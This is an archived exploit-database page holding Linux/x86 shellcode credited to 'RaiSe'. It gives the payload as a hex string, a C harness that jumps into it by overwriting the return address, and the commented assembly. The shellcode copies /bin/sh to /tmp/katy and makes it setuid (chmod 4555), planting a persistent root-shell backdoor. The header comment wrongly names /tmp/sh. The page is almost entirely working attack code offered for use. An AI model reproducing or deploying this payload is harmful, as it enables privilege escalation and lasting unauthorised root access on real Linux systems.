```
<html><head><title>Linux/x86 - /bin/cp /bin/sh /tmp/katy &amp; chmod 4555 - 126
bytes</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<meta http-equiv="Content-Language" content="en" />
</head>


<pre>
/*
 *  Linux/x86
 *
 *  /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork()
 */
#include &quot;stdio.h&quot;


char shellcode[] =
&quot;\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f&quot;
&quot;\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89&quot;
&quot;\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80&quot;
&quot;\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0&quot;
&quot;\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31&quot;
&quot;\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80&quot;
&quot;\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy&quot;;

main() {
        int *ret;
        ret=(int *)&amp;ret +2;
        printf(&quot;Shellcode lenght=%d\n&quot;,strlen(shellcode));
        (*ret) = (int)shellcode;
}

/* Code */
/*
__asm__(&quot;
        jmp    0x5e
        popl   %edi
        xorl   %eax,%eax
        movb   %al,0x7(%edi)
        movb   %al,0xf(%edi)
        movb   %al,0x19(%edi)
        movl   %edi,0x1a(%edi)
        leal   0x8(%edi),%esi
        movl   %esi,0x1e(%edi)
        xorl   %esi,%esi
        leal   0x10(%edi),%esi
        movl   %esi,0x22(%edi)
        movl   %eax,0x26(%edi)
        movl   %edi,%ebx
        leal   0x1a(%edi),%ecx
        leal   0x26(%edi),%edx
        xorl   %eax,%eax
        movb   $0x2,%al
        int    $0x80
        xorl   %esi,%esi
        cmpl   %eax,%esi
        jne    0x6
        movb   $0xb,%al
        int    $0x80
        jmp    0x1d
        xorl   %edx,%edx
        xorl   %eax,%eax
        xorl   %ebx,%ebx
        dec    %ebx
        leal   0x26(%edi),%ecx
        movb   $0x7,%al
        int    $0x80
        xorl   %eax,%eax
        leal   0x10(%edi),%ebx
        xorl   %ecx,%ecx
        movw   $0x96d,%cx
        movb   $0xf,%al
        int    $0x80
        xorl   %eax,%eax
        inc    %eax
        xorl   %ebx,%ebx
        int    $0x80
        call   -0x63
        .ascii \&quot;/bin/cp8/bin/sh8/tmp/katy\&quot;
&quot;);
*/

/*
RaiSe &lt; raise@undersec.com &gt;
http://www.undersec.com
*/



<body><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." :
"http://www.");
document.write(unescape("%3Cscript src=%27" + gaJsHost + "google-
analytics.com/ga.js%27 type=%27text/javascript%27%3E%3C/script%3E"));
</script>

<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-6809519-1");
pageTracker._trackPageview();
} catch(err) {}</script></body></html>
```